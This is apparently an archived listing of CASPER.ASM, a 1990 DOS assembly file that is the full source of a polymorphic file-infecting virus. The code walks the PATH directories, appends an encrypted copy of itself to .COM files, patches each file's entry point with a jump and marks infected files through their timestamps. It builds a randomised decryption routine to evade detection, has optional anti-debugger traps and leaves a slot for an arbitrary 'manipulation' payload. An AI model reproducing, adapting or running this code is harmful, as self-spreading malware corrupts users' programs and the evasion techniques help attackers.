home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CASPER.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  24KB  |  776 lines

  1. ;
  2. ;
  3. ; Copyright (C) Mark Washburn, 1990.  All Rights Reserved
  4. ;
  5. ;
  6. ; Inquires are directed to :
  7. ; Mark Washburn
  8. ; 4656 Polk Street NE
  9. ; Columbia Heights, MN 55421
  10. ; USA
  11. ;
  12. ;
  13. ;
  14. ;
  15. code        segment    public 'CODE'
  16.         org    100h
  17. ;
  18.         assume    cs:code,ds:code,es:code
  19. ;
  20.  
  21. ;stopdebug       equ 1 ; define this for disassembly trap code
  22. int1vec         equ 4
  23. int3vec         equ 12
  24. ;
  25. dta_ptr         equ -4
  26. file_crea       equ -8
  27. file_attr       equ -10
  28. path_start_ptr  equ -12
  29. file_start_ptr  equ -14
  30. RAND_SEED       equ -16
  31. ptr1            equ -18 ; pointer to start of loop code
  32. ptr2            equ -20 ; save data_begin pointer
  33. dat1            equ -22 ; the random code used
  34. dat2            equ -24 ; the decode length plus random length offset, max_msk
  35.                         ; to make the decode routine more difficult to detect
  36. dat3            equ -26 ; the 'necessary crypt code' mask
  37. ;
  38. IFNDEF stopdebug
  39. local_stack     equ 26
  40. max_msk         equ 0ffh ; this determines the maximum variance of length
  41. ELSE
  42. nobugptr        equ -28
  43. oldint3         equ -32
  44. oldint1         equ -36
  45. local_stack     equ 36
  46. max_msk         equ 0ffh ; this determines the maximum variance of length
  47. ENDIF
  48. ;
  49. ;
  50. ;
  51. doscall         macro   call_type
  52.                 ifnb    <call_type>
  53.                 mov     ah, call_type
  54.                 endif
  55.                 int     21h
  56.                 endm
  57. ;
  58. setloc          macro   arg1,reg2
  59.                 mov     [bp + arg1],reg2
  60.                 endm
  61. ;
  62. getloc          macro   reg1,arg2
  63.                 mov     reg1,[bp + arg2]
  64.                 endm
  65. ;
  66. setdat          macro   arg1,reg2
  67.                 mov     [si + offset arg1 - offset data_begin],reg2
  68.                 endm
  69. ;
  70. getdat          macro   reg1,arg2
  71.                 mov     reg1,[si + offset arg2 - offset data_begin]
  72.                 endm
  73. ;
  74. regofs          macro   reg1,arg2
  75.                 mov     reg1,si
  76.                 add     reg1,offset (arg2 - data_begin)
  77.                 endm
  78. ;
  79. NOBUG1          macro
  80. IFDEF stopdebug
  81.                 INT 3
  82.                 NOP
  83. ENDIF
  84.                 endm
  85. ;
  86. nobug2          macro
  87. IFDEF stopdebug
  88.                 INT 3
  89. ENDIF
  90.                 endm
  91. ;
  92. ;
  93. start:
  94.                 jmp    entry
  95. ;
  96. ;
  97. ;
  98.                 MOV     AH,0
  99.                 INT     021h ; program code
  100. ;                db      600h-6 dup (0)
  101. ; insert utility code here
  102. ;
  103. entry:
  104.  
  105.  
  106. IFDEF stopdebug
  107.                 call precrypt
  108.                 db      36 dup (090h) ; calculated length of offset(t41-t10)
  109. ELSE
  110.                 db      39 dup (090h) ; calculated length of offset(t41-t10)
  111. ENDIF
  112. ;
  113. ; label the start of encoded section
  114. entry2:
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121. INCLUDE utility.asm            <------- Manipulation Task Goes Here!
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.         mov     bp,sp   ; allocate locals
  130.                 sub     sp,local_stack
  131. ;
  132.                 push    cx
  133. movcmd:         ; this label is used to locate the next instruction
  134.                 mov     dx,offset data_begin
  135.                 setloc  ptr2,dx ; save - will be modified in 'gencode'
  136. IFDEF stopdebug
  137. ;
  138. ; save interrupt 1 and 3 vectors
  139. ;
  140.                 push    ds
  141.                 mov     ax,0
  142.                 push    ax
  143.                 pop     ds
  144.                 cli
  145.                 mov     ax,ds:[int1vec]
  146.                 setloc  oldint1,ax
  147.                 mov     ax,ds:[int1vec+2]
  148.                 setloc  oldint1+2,ax
  149.                 mov     ax,ds:[int3vec]
  150.                 setloc  oldint3,ax
  151.                 mov     ax,ds:[int3vec+2]
  152.                 setloc  oldint3+2,ax
  153.                 sti
  154.                 pop     ds
  155. ;
  156.                 call    bugon
  157. ENDIF
  158.                 mov     si,dx
  159.                 add     si,(offset old_code - offset data_begin)
  160.                 mov     di,0100h
  161.                 mov     cx,03h
  162.                 cld
  163.                 repz movsb
  164.                 mov     si,dx
  165.                 doscall 30h ; check DOS version
  166.                 cmp     al,0
  167.                 NOBUG1 ; 0
  168.                 jnz     cont1 ; DOS > 2.0
  169.                 jmp     exit
  170. cont1:
  171.                 push    es
  172.                 doscall 2fh ; get program DTA
  173.                 NOBUG1 ; 0
  174.                 setloc  dta_ptr,bx
  175.                 NOBUG1 ; 0
  176.                 setloc  dta_ptr+2,es
  177.                 pop     es
  178.                 regofs  dx,my_dta
  179.                 doscall 1ah ; set new DTA
  180.                 push    es
  181.                 push    si
  182.                 mov     es,ds:[02ch] ; environment address
  183.                 mov     di,0
  184. loop1:
  185.                 pop     si
  186.                 push    si
  187.                 add     si,(offset path_chars - offset data_begin)
  188.                 lodsb
  189.                 mov     cx,8000h
  190.                 repnz scasb
  191.                 mov     cx,4
  192. loop2:
  193.                 lodsb
  194.                 scasb
  195.                 jnz     loop1
  196.                 loop    loop2
  197.                 pop     si
  198.                 pop     es
  199.                 setloc  path_start_ptr,di
  200.                 mov     bx,si
  201.                 add     si,offset (file_name-data_begin)
  202.                 mov     di,si
  203.                 jmp     cont6
  204.                 nobug2
  205. next_path:
  206.                 cmp     word ptr [bp + path_start_ptr],0
  207.                 jnz     cont3
  208.                 jmp     exit2
  209.                 nobug2
  210. cont3:
  211.                 push    ds
  212.                 push    si
  213.                 mov     ds,es:[002ch]
  214.  
  215.                 mov     di,si
  216.                 mov     si,es:[bp+path_start_ptr]
  217.                 add     di,offset (file_name-data_begin)
  218. loop3:
  219.                 lodsb
  220.                 cmp     al,';' ; 3bh
  221.                 jz      cont4
  222.                 cmp     al,0
  223.                 jz      cont5
  224.                 stosb
  225.                 jmp     loop3
  226.                 nobug2
  227. cont5:
  228.                 mov     si,0
  229. cont4:
  230.                 pop     bx
  231.                 pop     ds
  232.                 mov     [bp+path_start_ptr],si
  233.                 cmp     ch,0ffh
  234.                 jz      cont6
  235.                 mov     al,'\' ; 5ch
  236.                 stosb
  237. cont6:
  238.                 mov     [bp+file_start_ptr],di
  239.                 mov     si,bx
  240.                 add     si,(offset com_search-offset data_begin)
  241.                 mov     cx,6
  242.                 repz movsb
  243.                 mov     si,bx
  244.                 mov     ah,04eh
  245.                 regofs  dx,file_name
  246.                 mov     cx,3
  247.                 doscall
  248.                 jmp     cont7
  249.                 nobug2
  250. next_file:
  251.                 doscall 04fh
  252. cont7:
  253.                 jnb     cont8
  254.                 jmp     next_path
  255.                 nobug2
  256. cont8:
  257.                 mov     ax,[si+offset(my_dta-data_begin)+016h] ; low time byte
  258.                 and     al,01fh
  259.                 cmp     al,01fh
  260.                 jz      next_file
  261. IFNDEF stopdebug
  262.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0fa00h
  263.                         ; file length compared; need 1.5 k spare, see rnd off
  264. ELSE
  265.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0f800h
  266. ENDIF
  267.                 jz      next_file                 ;    with virus length
  268.                 cmp     word ptr [si+offset(my_dta-data_begin)+01ah],0ah
  269.                         ; file to short
  270.                 jz      next_file
  271.                 mov     di,[bp+file_start_ptr]
  272.                 push    si
  273.                 add     si,offset(my_dta-data_begin+01eh)
  274. move_name:
  275.                 lodsb
  276.                 stosb
  277.                 cmp     al,0
  278.                 jnz     move_name
  279.                 pop     si
  280.                 mov     ax,04300h
  281.                 regofs  dx,file_name
  282.                 doscall
  283.                 setloc  file_attr,cx
  284.                 mov     ax,04301h
  285.                 and     cx,0fffeh
  286.                 regofs  dx,file_name
  287.                 doscall
  288.                 mov     ax,03d02h
  289.                 regofs  dx,file_name
  290.                 doscall
  291.                 jnb     cont9
  292.                 jmp     exit3
  293.                 nobug2
  294. cont9:
  295.                 mov     bx,ax
  296.                 mov     ax,05700h
  297.                 doscall
  298.                 setloc  file_crea,cx
  299.                 setloc  file_crea+2,dx
  300. cont10:
  301.                 mov     ah,3fh
  302.                 mov     cx,3
  303.                 regofs  dx,old_code
  304.                 doscall
  305.                 NOBUG1 ; 1
  306.                 jb      cont98
  307.                 NOBUG1
  308.                 cmp     ax,3
  309.                 NOBUG1
  310.                 jnz     cont98
  311.                 NOBUG1
  312.                 mov     ax,04202h
  313.                 NOBUG1 ;1
  314.                 mov     cx,0
  315.                 mov     dx,0
  316.                 doscall
  317.                 jnb     cont99
  318. cont98:
  319.                 jmp     exit4
  320. cont99:
  321.                 NOBUG1 ; 2
  322.                 push    bx ; save file handle
  323.                 NOBUG1
  324.                 mov     cx,ax
  325.                 push    cx
  326.                 NOBUG1
  327.                 sub     ax,3
  328.                 NOBUG1
  329.                 setdat  jump_code+1,ax
  330.                 add     cx,(offset data_begin-offset entry+0100h)
  331.                 NOBUG1
  332.                 mov     di,si
  333.                 NOBUG1
  334.                 sub     di,offset data_begin-offset movcmd-1
  335.                 NOBUG1
  336.                 mov     [di],cx
  337. ;
  338.                 doscall 02ch  ; seed the random number generator
  339.                 xor     dx,cx
  340.                 NOBUG1
  341.                 setloc  rand_seed,dx
  342.                 NOBUG1 ; 2
  343.                 call    random
  344.                 NOBUG1 ; 3
  345.                 getloc  ax,rand_seed
  346.                 NOBUG1 ; 3
  347.                 and     ax,max_msk ; add a random offset to actual length
  348.                 NOBUG1 ; 3
  349.                 add     ax,offset (data_end-entry2) ; set decode length
  350.                 NOBUG1 ; 3
  351.                 setloc  dat2,ax ; save the decode length
  352.                 NOBUG1 ; 3
  353.                 setdat  (t13+1),ax ; set decode length in 'mov cx,xxxx'
  354.                 pop     cx ; restore the code length of file to be infected
  355.                 NOBUG1 ; 3
  356.                 add     cx,offset (entry2-entry+0100h) ; add the length
  357.                               ; of uncoded area plus file offset
  358.                 setdat  (t11+1),cx ;  set decode begin in 'mov di,xxxx'
  359.                 NOBUG1  ; 3
  360.                 call    random
  361.                 getloc  ax,rand_seed
  362.                 NOBUG1  ; 3
  363.                 setloc  dat1,ax ; save this random key in dat1
  364.                 setdat  (t12+1),ax ; set random key in 'mov ax,xxxx'
  365.                 NOBUG1  ; 3
  366.                 mov     di,si
  367.                 NOBUG1  ; 3
  368.                 sub     di,offset (data_begin-entry)
  369.                 NOBUG1  ; 3
  370.                 mov     bx,si
  371.                 add     bx,offset (l11-data_begin) ; table L11 address
  372.                 mov     word ptr [bp+dat3],000000111b ; required routines
  373.                 call    gen2 ; generate first part of decrypt
  374.                 setloc  ptr1,di  ; save the current counter to resolve 'loop'
  375.                 add     bx,offset (l21-l11) ; add then next tables' offset
  376.                 NOBUG1  ; 3
  377.                 mov     word ptr [bp+dat3],010000011b ; required plus 'nop'
  378.                 NOBUG1  ; 3
  379.                 call    gen2 ; generate second part of decrypt
  380.                 add     bx,offset (l31-l21) ; add the next offset
  381.                 NOBUG1
  382.                 call    gen2 ; generate third part of decrypt
  383.                 mov     cx,2 ; store the loop code
  384.                 getloc  si,ptr2
  385.                 NOBUG1 ; 3
  386.                 add     si,offset (t40-t10) ; point to the code
  387.                 repz    movsb ; move the code
  388.                 getloc  ax,ptr1 ; the loop address pointer
  389.                 sub     ax,di ; the current address
  390.                 dec     di ; point to the jump address
  391.                 stosb   ; resolve the jump
  392. ; fill in the remaining code
  393. l991:
  394.                 getloc  cx,ptr2 ; get the data_begin pointer
  395.                 sub     cx,offset (data_begin-entry2) ; locate last+1 entry
  396.                 cmp     cx,di ; are we there yet?
  397.                 je      l992 ; if not then fill some more space
  398.                 mov     dx,0h ; any code is ok
  399.                 call    gencode ; generate the code
  400.                 jmp     l991
  401.                 nobug2
  402. l992:
  403.                 getloc  si,ptr2 ; restore si to point to data area ;
  404.                 push    si
  405.                 mov     di,si
  406.                 NOBUG1  ; 4
  407.                 mov     cx,offset(end1-begin1) ;   move code
  408.                 add     si,offset(begin1-data_begin)
  409.                 NOBUG1 ; 4
  410.                 add     di,offset(data_end-data_begin+max_msk) ; add max_msk
  411.                 mov     dx,di ; set subroutine start
  412.                 repz    movsb  ; move the code
  413.                 pop     si
  414.                 pop     bx ; restore handle
  415.                 call    setrtn ; find this address
  416.                 add     ax,06h ; <- the number necessary for proper return
  417.                 push    ax
  418.                 jmp     dx ; continue with mask & write code
  419. ; continue here after return from mask & write code
  420.                 NOBUG1 ; 4
  421.                 jb      exit4
  422.                 cmp     ax,offset(data_end-entry)
  423.                 NOBUG1 ; 4
  424.                 jnz     exit4
  425.                 mov     ax,04200h
  426.                 mov     cx,0
  427.                 mov     dx,0
  428.                 doscall
  429.                 jb      exit4
  430.                 mov     ah,040h
  431.                 mov     cx,3
  432.                 NOBUG1 ; 4
  433.                 regofs  dx,jump_code
  434.                 doscall
  435. exit4:
  436.                 getloc  dx,file_crea+2
  437.                 getloc  cx,file_crea
  438.                 and     cx,0ffe0h
  439.                 or      cx,0001fh
  440.                 mov     ax,05701h
  441.                 doscall
  442.                 doscall 03Eh ; close file
  443. exit3:
  444.                 mov     ax,04301h
  445.                 getloc  cx,file_attr
  446.                 regofs  dx,file_name
  447.                 doscall
  448. exit2:
  449.                 push    ds
  450.                 getloc  dx,dta_ptr
  451.                 getloc  ds,dta_ptr+2
  452.                 doscall 01ah
  453.                 pop     ds
  454. exit:
  455.                 pop     cx
  456.                 xor     ax,ax
  457.                 xor     bx,bx
  458.                 xor     dx,dx
  459.                 xor     si,si
  460.                 mov     sp,bp ; deallocate locals
  461.                 mov     di,0100h
  462.                 push    di
  463. IFDEF stopdebug
  464.         call    bugoff
  465. ENDIF
  466.         ret
  467. ;
  468. ; common subroutines
  469. ;
  470. ;
  471. random            proc    near
  472. ;
  473.             getloc    cx,rand_seed    ; get the seed
  474.                 xor     cx,813Ch        ; xor random pattern
  475.             add    cx,9248h    ; add random pattern
  476.             ror    cx,1        ; rotate
  477.             ror    cx,1        ; three
  478.             ror    cx,1        ; times.
  479.             setloc    rand_seed,cx    ; put it back
  480.                 and     cx,7            ; ONLY NEED LOWER 3 BITS
  481.                 push    cx
  482.                 inc     cx
  483.                 xor     ax,ax
  484.                 stc
  485.                 rcl     ax,cl
  486.                 pop     cx
  487.             ret            ; return
  488. ;
  489. random            endp
  490. ;
  491. setrtn          proc    near
  492. ;
  493.                 pop     ax       ; ret near
  494.                 push    ax
  495.                 ret
  496. ;
  497. setrtn          endp
  498. ;
  499. gencode         proc    near
  500. ;
  501. l999:
  502.                 call    random
  503.                 test    dx,ax  ; has this code been used yet?
  504.                 jnz     l999   ; if this code was generated - try again
  505.                 or      dx,ax ; set the code as used in dx
  506.                 mov     ax,cx ; the look-up index
  507.                 sal     ax,1
  508.                 push    ax
  509.                 xlat
  510.                 mov     cx,ax ; the count of instructions
  511.                 pop     ax
  512.                 inc     ax
  513.                 xlat
  514.                 add     ax,[bp+ptr2] ; ax = address of code to be moved
  515.                 mov     si,ax
  516.                 repz    movsb   ; move the code into place
  517.                 ret
  518. ;
  519. gencode         endp
  520. ;
  521. gen2            proc    near
  522. ;
  523.                 mov     dx,0h ; used code
  524. l990:
  525.                 call    gencode
  526.                 mov     ax,dx ; do we need more code
  527.                 and     ax,[bp+dat3] ; the mask for the required code
  528.                 cmp     ax,[bp+dat3]
  529.                 jne     l990 ; if still need required code - loop again
  530.                 ret
  531. ;
  532. gen2            endp
  533. ;
  534. IFDEF stopdebug
  535. doint3:
  536.                 push    bx
  537.                 mov     bx,sp
  538.                 push    ax
  539.                 push    si
  540.                 mov     si,word ptr [bx+02]
  541.                 inc     word ptr [bx+02] ; point to next address
  542.                 setloc  nobugptr,si
  543.                 lodsb   ; get the byte following int 3
  544.                 xor     byte ptr [si],al
  545.                 mov     al,[bx+7] ; set the trap flag
  546.                 or      al,1
  547.                 mov     [bx+7],al
  548.                 pop     si
  549.                 pop     ax
  550.                 pop     bx
  551.                 iret
  552. ;
  553. doint1:
  554.                 push    bx
  555.                 mov     bx,sp
  556.                 push    ax
  557.                 push    si
  558.                 getloc  si,nobugptr
  559.                 lodsb
  560.                 xor     byte ptr [si],al
  561.                 mov     al,[bx+7] ; clear the trap flag
  562.                 and     al,0feh
  563.                 mov     [bx+7],al
  564.                 pop     si
  565.                 pop     ax
  566.                 pop     bx
  567. bugiret:
  568.                 iret
  569. ;
  570. bugon:
  571.                 pushf
  572.                 push    ds
  573.                 push    ax
  574.                 mov     ax,0
  575.                 push    ax
  576.                 pop     ds
  577.                 getloc  ax,ptr2
  578.                 sub     ax,offset(data_begin-doint3)
  579.                 cli
  580.                 mov     ds:[int3vec],ax
  581.                 getloc  ax,ptr2
  582.                 sub     ax,offset(data_begin-doint1)
  583.                 mov     ds:[int1vec],ax
  584.                 push    cs
  585.                 pop     ax
  586.                 mov     ds:[int1vec+2],ax
  587.                 mov     ds:[int3vec+2],ax
  588.                 sti
  589.                 pop     ax
  590.                 pop     ds
  591.                 popf
  592.                 ret
  593. ;
  594. bugoff:
  595.                 pushf
  596.                 push    ds
  597.                 push    ax
  598.                 mov     ax,0
  599.                 push    ax
  600.                 pop     ds
  601.  
  602.                 getloc  ax,oldint3
  603.                 cli
  604.                 mov     ds:[int3vec],ax
  605.                 getloc  ax,oldint1
  606.                 mov     ds:[int1vec],ax
  607.                 getloc  ax,oldint1+2
  608.                 mov     ds:[int1vec+2],ax
  609.                 getloc  ax,oldint3+2
  610.                 mov     ds:[int3vec+2],ax
  611.                 sti
  612.  
  613.                 pop     ax
  614.                 pop     ds
  615.                 popf
  616.                 ret
  617. ;
  618. ENDIF
  619. ;
  620. ;
  621. ; the data area
  622. ;
  623. data_begin       label near
  624. ;
  625. T10              LABEL NEAR
  626. T11:             MOV DI,0FFFFH
  627. T12:             MOV AX,0FFFFH
  628. T13:             MOV CX,0FFFFH
  629. T14:             CLC
  630. T15:             CLD
  631. T16:             INC SI
  632. T17:             DEC BX
  633. T18:             NOP
  634. T19              LABEL NEAR
  635. ;
  636. T20              LABEL NEAR
  637. T21:             XOR [DI],AX
  638. T22:             XOR [DI],CX
  639. T23:             XOR DX,CX
  640. T24:             XOR BX,CX
  641. T25:             SUB BX,AX
  642. T26:             SUB BX,CX
  643. T27:             SUB BX,DX
  644. T28:             NOP
  645. T29              LABEL NEAR
  646. ;
  647. T30              LABEL NEAR
  648. T31:             INC AX
  649. T32:             INC DI
  650. T33:             INC BX
  651. T34:             INC SI
  652. T35:             INC DX
  653. T36:             CLC
  654. T37:             DEC BX
  655. T38:             NOP
  656. T39              LABEL NEAR
  657. ;
  658. T40:             LOOP T20
  659. T41              LABEL NEAR
  660. ;
  661. L11:             DB OFFSET (T12-T11),OFFSET (T11-data_begin)
  662. L12:             DB OFFSET (T13-T12),OFFSET (T12-data_begin)
  663. L13:             DB OFFSET (T14-T13),OFFSET (T13-data_begin)
  664. L14:             DB OFFSET (T15-T14),OFFSET (T14-data_begin)
  665. L15:             DB OFFSET (T16-T15),OFFSET (T15-data_begin)
  666. L16:             DB OFFSET (T17-T16),OFFSET (T16-data_begin)
  667. L17:             DB OFFSET (T18-T17),OFFSET (T17-data_begin)
  668. L18:             DB OFFSET (T19-T18),OFFSET (T18-data_begin)
  669. ;
  670. L21:             DB OFFSET (T22-T21),OFFSET (T21-data_begin)
  671. L22:             DB OFFSET (T23-T22),OFFSET (T22-data_begin)
  672. L23:             DB OFFSET (T24-T23),OFFSET (T23-data_begin)
  673. L24:             DB OFFSET (T25-T24),OFFSET (T24-data_begin)
  674. L25:             DB OFFSET (T26-T25),OFFSET (T25-data_begin)
  675. L26:             DB OFFSET (T27-T26),OFFSET (T26-data_begin)
  676. L27:             DB OFFSET (T28-T27),OFFSET (T27-data_begin)
  677. L28:             DB OFFSET (T29-T28),OFFSET (T28-data_begin)
  678. ;
  679. L31:             DB OFFSET (T32-T31),OFFSET (T31-data_begin)
  680. L32:             DB OFFSET (T33-T32),OFFSET (T32-data_begin)
  681. L33:             DB OFFSET (T34-T33),OFFSET (T33-data_begin)
  682. L34:             DB OFFSET (T35-T34),OFFSET (T34-data_begin)
  683. L35:             DB OFFSET (T36-T35),OFFSET (T35-data_begin)
  684. L36:             DB OFFSET (T37-T36),OFFSET (T36-data_begin)
  685. L37:             DB OFFSET (T38-T37),OFFSET (T37-data_begin)
  686. L38:             DB OFFSET (T39-T38),OFFSET (T38-data_begin)
  687. ;
  688. ;
  689. ;
  690. ; this routine is relocated after the end of data area
  691. ; this routine encrypts, writes, and decrypts the virus code
  692. ;
  693. begin1:
  694.                 getloc  cx,dat2 ; get off (data_end-entry2) plus max_msk
  695.                 getloc  ax,dat1 ; get decode ket
  696.                 mov     di,si ; and set the begin encrypt address
  697.                 sub     di,offset (data_begin-entry2)
  698.                 call    crypt
  699.                 mov     ah,040h
  700.                 mov     cx,offset data_end-offset entry
  701.                 mov     dx,si
  702.                 sub     dx,offset data_begin-offset entry
  703.                 doscall
  704.                 pushf ; save the status of the write
  705.                 push    ax
  706.                 getloc  cx,dat2 ; get off (data_end-entry2) plus max_msk
  707.                 getloc  ax,dat1
  708.                 mov     di,si
  709.                 sub     di,offset (data_begin-entry2)
  710.                 call    crypt
  711.                 pop     ax      ; restore the DOS write's status
  712.                 popf
  713.                 ret
  714. ;
  715. crypt:
  716.                 xor     [di],ax
  717.                 xor     [di],cx
  718.                 inc     ax
  719.                 inc     di
  720.                 loop    crypt
  721.                 ret
  722. end1:
  723. ;
  724. ; global work space and constants
  725. ;
  726. old_code:       db 090h,090h,090h
  727. jump_code:      db 0e9h,0,0
  728. com_search:     db '*.COM',0
  729. path_chars:     db 'PATH='
  730. file_name:      db 40h DUP (0)
  731. my_dta:         db 2Bh DUP (0)
  732.                 db 0,0,0
  733.  
  734. data_end        label near
  735. IFDEF stopdebug
  736. ;
  737. scan_bytes      db 0CCh,090h
  738. ;
  739. precrypt:
  740.                 mov bp,sp   ; allocate locals
  741.                 sub sp,local_stack
  742.                 doscall 02ch  ; seed the random number generator
  743.                 xor dx,cx
  744.                 setloc rand_seed,dx
  745.                 call random
  746.                 mov di,offset start
  747.                 push ds
  748.                 pop es
  749. lp999:
  750.                 mov cx,08000h
  751.                 mov si,offset scan_bytes
  752.                 lodsb
  753.                 repnz scasb
  754.                 cmp cx,0
  755.                 je done998
  756.                 cmp di,offset data_end
  757.                 jge done998
  758.                 lodsb
  759.                 scasb
  760.                 jnz lp999
  761.                 call random
  762.                 getloc ax,rand_seed
  763.                 dec di
  764.                 mov [di],al
  765.                 inc di
  766.                 xor [di],al
  767.                 inc di ; skip the masked byte
  768.                 jmp short lp999
  769. done998:
  770.                 mov sp,bp
  771.                 ret
  772. ENDIF
  773.  
  774. code        ends
  775.         end    start
  776.